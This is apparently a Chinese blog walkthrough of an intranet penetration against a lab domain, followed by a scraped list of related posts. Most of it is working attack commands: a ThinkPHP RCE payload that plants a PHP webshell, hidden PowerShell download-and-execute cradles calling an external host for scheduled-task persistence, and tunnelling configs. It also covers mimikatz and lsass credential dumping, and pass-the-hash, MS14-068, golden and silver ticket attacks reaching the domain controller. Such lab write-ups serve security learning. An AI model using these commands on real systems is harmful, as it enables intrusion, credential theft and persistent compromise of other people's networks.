一、前言

前面写了一篇内网渗透初探(一),写的不是特别好,然后也是在学习内网渗透相关的东西,就将其整理了一下,加了自己的思路,写好这篇内网渗透初探(二)~

二、环境介绍

专门做了个拓扑图,首先外网打点,然后内网穿透,进域内,攻击域主机2、域主机1,通过pth、ptt的方式拿下域控。

三、外网打点

1、打开站点,为thinkphp默认页,版本为tp5

2、尝试几个EXP后,成功执行命令

http://192.168.31.32/public/index.php?s=captcha
​
[post]
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo

3、简单判断系统为Windows

http://192.168.31.32/public/index.php?s=captcha
​
[post]
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ipconfig

4、获取当前目录路径

http://192.168.31.32/public/index.php?s=captcha
​
[post]
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=chdir

5、在当前目录写入一句话木马123.php

http://192.168.31.32/public/index.php?s=captcha
​
[post]
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php eval($_REQUEST[1])?>" >123.php

6、测试代码执行 http://192.168.31.32/public/123.php?1=phpinfo();

7、蚁剑连接

8、上传CS马123.exe

9、执行并上线

四、权限维持

(一)、设置延迟时间

单独拎出来是因为之前有的人问我为什么他执行的命令要等好久才有响应,这里大概说明一下。CS作为红队协作工具,具有服务端和客户端,目标主机和服务器默认60秒通信一次,也是作为一定的隐蔽而存在的,所以一般我会设置为sleep 2,不快不慢刚刚好。

(二)、进程迁移

1、首先查看进程列表

2、选择需要注入的进程并点击inject进行注入(进程可以选择一些比较常见的,不会常关闭的进程,如explorer.exe)

3、然后便可以获取一个基于explorer.exe的shell

(三)、启动项

1、将需要执行的exe文件复制到启动文件夹下即可。 复制到的路径是windows启动路径,当系统重启之后,会默认运行里面的程序

shell copy "123.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

有条件的话,可以将快捷方式放过去,将木马隐藏在某文件夹下,命名为win.exe或system.exe,也算是做了一层隐蔽。

(四)、计划任务

1、生成powershell上线语句

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:10081/a'))"

2、运行语句即会上线CS

3、设置计划任务(每隔一个小时,以system权限执行命令)

其他启动时间参数:
/sc onlogon  用户登录时启动
/sc onstart  系统启动时启动
/sc onidle   系统空闲时启动
shell schtasks /create /tn win /sc HOURLY /mo 1 /tr "powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:10081/a'))'" /ru system /f

4、启动计划任务

shell schtasks /run /i /tn "win"

5、设置计划任务(用户登录时启动)

shell schtasks /create /tn win1 /tr "powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:10081/a'))'" /sc ONLOGON
shell schtasks /create /sc MINUTE /mo 1 /tn win2 /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:10081/a'))\""

6、删除计划任务

shell schtasks /delete /tn win2 /f

7、同样的,不仅仅可以放powershell语句,放木马文件路径也是一样的。

shell schtasks /create /tn win /sc HOURLY /mo 1 /tr "C:\Windows\Temp\123.exe" /ru system /f

五、主机信息收集

CS中:shell+命令即可//主机信息
systeminfo//网络信息
ipconfig /all//路由表
arp -a//进程,查AV
tasklist//端口占用情况
netstat -ano//是否域环境
net user /domain//是否出网
ping baidu.com -n 2

抓取浏览器保存的密码,以及横向目标主机 https://github.com/QAX-A-Team/BrowserGhost 上传并执行

六、隧道搭建

(一)、ew

1、先传入ew软件

2、服务器上执行如下命令

./ew_for_linux64 -s rcsocks -l 1080 -e 8888

3、受害机器上执行如下命令

execute "E:\New File\WWW\phpStudy\WWW\public\ew.exe"  -s rssocks -d xx.xx.xx.xx -e 8888

4、设置连接服务器等socks即可

5、成功访问到内网

(二)、frp

下载地址 https://github.com/fatedier/frp/releases/tag/v0.38.0 1、服务器frps1.ini设置

[common]
bind_addr = 0.0.0.0
bind_port = 7080
token = admin123
dashboard_user = admin
dashboard_pwd = admin123

2、运行命令

./frps -c frps1.ini

3、将frpc.exe和frpc.ini上传到受害机

frpc.ini配置如下:

[common]
server_addr = IP
server_port = 7080
token = admin123
tls_enable=true
pool_count=5
[plugin_socks]
type = tcp
remote_port = 4567
plugin = socks5
plugin_user = admin
plugin_passwd = admin123
use_encryption = true
use_compression = true

4、运行命令

shell "C:\Windows\temp\frpc.exe -c C:\Windows\temp\frpc.ini"

5、在服务器上可以看到,已经有连接返回了

6、设置proxifier指向服务器,注意设置账号密码

7、成功访问到目标内网

七、横向移动1

1、前面获取了phpmyadmin的账号密码,尝试登录

2、获取数据库路径

select @@datadir;

3、在变量中也可以大概判断出一些路径信息

4、修改日志路径

5、通过查询一句话木马来写入到123.php中

select '<?php eval($_REQUEST[1]); ?>';

6、执行完后,尝试执行phpinfo成功

7、蚁剑连接

8、新建一个管理员用户,显示权限不足

9、这里先简单用potato提权,后面会列举几个提权方法

10、将用户添加到管理员组

八、内网信息收集

(一)、基础信息收集

1、检测获取的shell当前权限

whoami /user && whoami /priv

2、查询网络配置信息

ipconfig /all              // 本机IP等信息
arp -a                     // arp缓存
netstat -ano        //查询端口连接情况

重点关注一下DNS服务器,有可能就是当前所在域的域控

3、查询系统信息

systeminfo

4、其他信息收集可以使用脚本 http://www.fuzzysecurity.com/scripts/files/wmic_info.rar 直接执行即可

会在目录下新建一个out.html 打开里面即是收集到到信息

(二)、域内信息收集

查看当前登陆域
net config workstation查询域用户
net user /domain查询指定域用户详细信息
net user xxx /domain   查询域控制器
net time /domain获取域内用户详细信息
wmic useraccount get /all查询域控制器主机名
nltest /DCLIST:god 

1. 定位域控制器

1、基于ping主域来获取

ping ajie.cool -n 2

2、查询dns服务器

ipconfig /all

3、查询dns解析记录

nslookup -type=all _ldap._tcp.dc._msdcs.<域名>

2. 存活主机探测

基于netbios协议

工具: nbtscan 将nbtscan.exe上传到目标主机上

执行命令扫描当前主机所在C段

nbtscan-1.0.35.exe 192.168.30.0/24

基于ICMP协议

工具: ping命令 相当于使用ping来探测主机存活(特点就是慢。。。)

for /l %i in (1,1,255) do @ ping 192.168.30.%i -w 1 -n 1|find /i "ttl="

基于ARP协议

工具: arp-scan.exe 下载地址: https://github.com/QbsuranAlang/arp-scan-windows- 将文件上传到目标主机上,执行如下命令: arp-scan.exe -t <IP/IP段>

九、提权

(一)、内核提权

查询安装的补丁情况,通过在线工具查询可能存在的内核提权

获取安装补丁的方法:
1、systeminfo
systeminfo | findstr KB2、wmic
wmic qfe get caption,description,hotfixid,installedon

复制补丁号进行查询 在线网站: 提权辅助网页 提权辅助网页 Windows提权辅助 Windows Privilege Escalation Exploit Search -- Windows 提权辅助

exp下载地址也可以直接看github https://github.com/Al1ex/WindowsElevation

(二)、potato提权

直接将potato exp工具拉到对应主机上,执行命令即可

potato.exe -p "需要执行的命令"

(三)、可信任服务路径漏洞提权

这个是一个windows路径解析的问题,如果一个服务的运行路径没有被双引号包裹,并且它的路径中包含有空格,那么就可能可以被利用,当服务运行的权限为system,那么相当于进行了提权。

正常要运行的是service.exe
解析顺序如下:
C:\Program.exe
C:\Program files(x86)\test.exe
C:\Program files(x86)\test upload\service.exe也就是可以在C盘更目录,将木马文件命名为Program.exe;或者在C:\Program files(x86)\目录下,将木马文件命名为test.exe,就有可能获取到system权限或高权限的shell

探测漏洞是否存在可以通过命令:

wmic service get displayname,startmode,pathname|findstr /i "Auto" | findstr /i /v "C:\Windows\\"

假设这里使用vmtoolsd.exe为例,首先我在C:\Program Files\VMware\新建一个VMware.exe,这里我把calc.exe放进去,然后重启vmtoolsd.exe服务

(四)、计划任务提权

前面有提到,让某任务以高权限身份运行即可

schtasks /create /sc MINUTE /mo 1 /tn win2 /tr "C:\cmd.exe" /ru system /f

(五)、psexec提权

PsExec 是一个轻型的 telnet 替代工具,可以无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。PsExec 最强大的功能之一是在远程系统和远程支持工具(如 IpConfig)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。 ​

1、通过psexec获取一个system权限的cmd 使用方法:

psexec.exe -sid cmd.exe

十、横向移动2

(一)、获取Hash的几种方法

1、基于sam和system文件 导出sam和system文件

reg save hklm\system  system.hive
reg save hklm\sam sam.hive

使用mumitatz读取sam和system文件

lsadump::sam /sam:C:/1/sam.hive /system:C:/1/system.hive

2、mimikatz

mimikatz.exe privilege::debug sekurlsa::logonpasswords

3、procdump 下载地址: ProcDump - Windows Sysinternals | Microsoft Docs

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

然后在当前目录下会生成一个lsass.dmp文件

通过mimikatz分析文件获取hash

privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

4、使用powershell 先在服务器新建一个python web服务,位置为PowerSploit

在受害机下载脚本并执行

IEX(New-Object Net.WebClient).DownloadString("http://82.156.32.161:4545/Exfiltration/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -DumpCreds

(二)、pth的几种方法

前面已经获取了域控制器的hash,那么可以通过hash进行pth攻击

输入log可以生成日志,方便复制粘贴

* NTLM     : f1de694efa543bb780da59c049541ea3

1、使用mimikatz进行pth

sekurlsa::pth /user:administrator /domain:"ajie.cool" /ntlm:f1de694efa543bb780da59c049541ea3

执行完后弹出一个具有域控权限的cmd

具体可以查看前一篇文章,内网渗透初探 ​

2、使用Crackmapexec kali下进行安装

apt-get install crackmapexec

输入如下命令即可 ​

IP :可以是单个IP也可以是IP段 -u :指定用户名 -H :指定NTLM Hash -d :指定域 -x :执行系统命令

crackmapexec smb 192.168.30.128 -u administrator -H f1de694efa543bb780da59c049541ea3 -d ajie.cool -x whoami

可以看到返回了域控的管理员

crackmapexec smb 192.168.30.128 -u administrator -H f1de694efa543bb780da59c049541ea3 -d ajie.cool -x ipconfig

可以看到执行结果,ip为域控IP

3、使用impackt工具包 下载地址: https://github.com/SecureAuthCorp/impacket 这里简单列举几个 wmiexec.py

python3 wmiexec.py -hashes 00000000000000000000000000000000:f1de694efa543bb780da59c049541ea3 Administrator@192.168.30.128

psexec.py

python3 psexec.py -hashes 00000000000000000000000000000000:f1de694efa543bb780da59c049541ea3 Administrator@192.168.30.128

smbclient.py

python3 smbclient.py -hashes 00000000000000000000000000000000:f1de694efa543bb780da59c049541ea3 ajie.cool/Administrator@192.168.30.128

可以执行很多操作

十一、PTT(票据传递)

(一)、MS14-068

需要条件:

域内普通用户SID
域内普通用户密码

下载地址: https://github.com/Al1ex/WindowsElevation/tree/master/CVE-2014-6324 1、首先获取了一个域用户权限,在无法提权的情况下,获取用户名和SID

whoami /allajie\web S-1-5-21-3296092892-1320626564-2720975204-1105

2、上传ms14-068.exe,并执行下面的命令

ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址 -p 域成员密码ms14-068.exe -u web@ajie.cool -s S-1-5-21-3296092892-1320626564-2720975204-1105 -d 192.168.30.128 -p 1234,abcd

如图成功生成了票据文件

3、将票据注入到内存中

kerberos::purge                     //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::list                       //查看当前机器凭证
kerberos::ptc TGT_xxx@domain.cache   //将票据注入到内存中

4、成功net user 到域控

5、删除票据之后显示拒绝访问

(二)、黄金票据

具体可以查看前一篇文章,内网渗透初探 1、在域控机器中,通过mimikatz输入命令获取krbtgt的hash值

privilege::debug
lsadump::dcsync /user:krbtgt

2、获取制作黄金票据需要的数据

Object Security ID   : S-1-5-21-3296092892-1320626564-2720975204
Hash NTLM: 31edc56a2302a25a2e9bee5f04abd659

原Object Security ID最后面有个-502是作为标识的,在制作时需要手动删除。

3、退出远程桌面,在攻击机通过mimikatz制作黄金票据。执行命令后会生成一个administrator.kiribi文件。

kerberos::golden /admin:administrator /domain:域名 /sid:SID号 /krbtgt:ntlm值 /ticket:生成的票据文件名.kiribikerberos::golden /admin:administrator /domain:ajie.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /krbtgt:31edc56a2302a25a2e9bee5f04abd659 /ticket:administrator.kiribi

4、制作完票据之后,先尝试获取域控的c盘的权限,无法获取。

5、通过mimikatz执行以下命令。

kerberos::purge                     //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::list                       //查看当前机器凭证
kerberos::ptt administrator.kiribi   //将票据注入到内存中

6、成功获取域控c盘权限。

(三)、白银票据

1、导出hash

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

SID最后的500为标识符,这里不需要;计算机全名也就是mimikatz导出的username+域名

NTLM     : 75f490ed04ba66f04e0e947a185679bd
SID      : S-1-5-21-3296092892-1320626564-2720975204
计算机全名 :AD.ajie.cool

2、在攻击机上执行命令生成票据

kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /pttkerberos::golden /domain:ajie.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /target:AD.ajie.cool /service:cifs /rc4:75f490ed04ba66f04e0e947a185679bd /user:admin123 /ptt

kerberos::list

3、前面读取域控文件内容如下

4、拿到权限后,可以有多个选择

1、传马+计划任务执行
copy win.exe \\AD.ajie.cool\c$
sc \\AD.ajie.cool create bindshell binpath= "c:\win.exe"2、psexec.exe \\域控地址 cmd.exe3、其他。。。

我这里用方法2,成功获取了域控的system权限的cmd。

内网渗透初探(二) | 重新学习内网渗透全过程相关推荐

  1. 内网渗透初探(一) | 小白学习内网渗透

    0x01 基础知识 内网渗透,从字面上理解便是对目标服务器所在内网进行渗透并最终获取域控权限的一种渗透.内网渗透的前提需要获取一个Webshell,可以是低权限的Webshell,因为可以通过提权获取 ...

  2. 内网渗透初探(三) | 查缺补漏

    一.前言 从linux打进去到域环境,到获取域控权限.因为前面基本都是在讲windows,这里补一篇linux的,全篇实操,喜欢的小伙伴们快来呀~ 二.外网打点 1.打开站点,很正常的一个登录界面 2 ...

  3. 最新返利网大全【二】

    最新返利网大全[二] 悠然返利网 http://www.xialian7.com/ 千凡乐购   http://www.qflg88.com/ 10号商铺  http://www.no10shop.c ...

  4. 《内网安全攻防:渗透测试实战指南》读书笔记(二):内网信息收集

    目录 前言 一.收集本机信息 1.手动搜集 (1)查询网络配置 (2)查询操作系统及软件的信息 (3)查询本机服务信息 (4)查询进程列表 (5)查看启动程序信息 (6)查看计划任务 (7)查看主机开 ...

  5. 内网渗透(十二)之内网信息收集-内网端口扫描和发现

    系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内 ...

  6. 内网渗透初探(靶场环境搭建+web层面实验+内网基本操作)

    靶场环境搭建 在此我使用的是红日安全的环境 下载地址(红日安全) 图片取自互联网,ip地址以实际地址为准 操作系统 IP地址 攻击者 kali IP地址:192.168.3.10 攻击者 Window ...

  7. 内网渗透(十七)之内网信息收集-powershell收集域内信息和敏感数据定位

    系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内 ...

  8. 内网渗透(一)之基础知识-内网渗透介绍和概述

    内网渗透介绍和概述 在我们讲解内网渗透的技术之前,我们先通过一张图来了解一下内网渗透的技术在整个渗透测试过程中处在一个什么样的位置 一.什么是内网 研究内网安全我们首先需要弄明白内网是什么?在渗透测试 ...

  9. 渗透测试常用工具-stunnel内网穿透

    关于内网穿透原理可以查看我另外一篇文章介绍:渗透测试常用工具-ptunnel内网穿透 目录 关于内网穿透原理可以查看我另外一篇文章介绍:[渗透测试常用工具-ptunnel内网穿透](https://b ...

最新文章

  1. Ubuntu远程控制详细步骤流程
  2. linux 内核网络协议栈
  3. 推荐文章:《同济大学软件学院万院长谈择业》
  4. C# default關鍵字
  5. 一个3200位长的tcp报文传到ip层_运输层
  6. centors7 和 win7 修改开机顺序
  7. 发送导频信号用到的 matlab function
  8. mongodb下载安装和基本操作
  9. uniapp判断是不是微信浏览器
  10. python主成分分析_Python主成分分析-经典案例分析
  11. 搜索与问答——【NeurIPS 2021】BEIR:信息检索模型零样本评估的异构基准
  12. 【PS】如何把图片变成透明
  13. Windows监控——性能指标详解
  14. 驰名世界的奢侈品牌史话:巴宝莉(Burberry)
  15. android 签名文件与sha1获取
  16. python之meshgrid的使用
  17. 2022年长安杯比赛复现
  18. BigBrother的大数据之旅 Day 3 Linux(3)
  19. mac安装配置zsh
  20. php 敏感关键词检测,字符串 - PHP 敏感词违法关键字检测 算法方案

热门文章

  1. 解决postgresql数据库锁表问题
  2. Mac Dashboard图标整理,图标按文件夹分类,APP归类,快速搜索
  3. linux上杀死进程命令:kill、pkill、killall杀死进程
  4. linux 杀死指定pid,Linuxkill杀死指定进程
  5. 安全加密 - 对称加密和非对称加密区别
  6. 《Python 编程从入门到实践》———— 创建和使用类
  7. 从泽井健一的记载看形意拳
  8. coreldraw铺花纹_CorelDRAW制作花边的详细步骤
  9. ocm名单 oracle_OCM(Oracle认证数据库大师)
  10. JVM面试题及答案整理(最新版)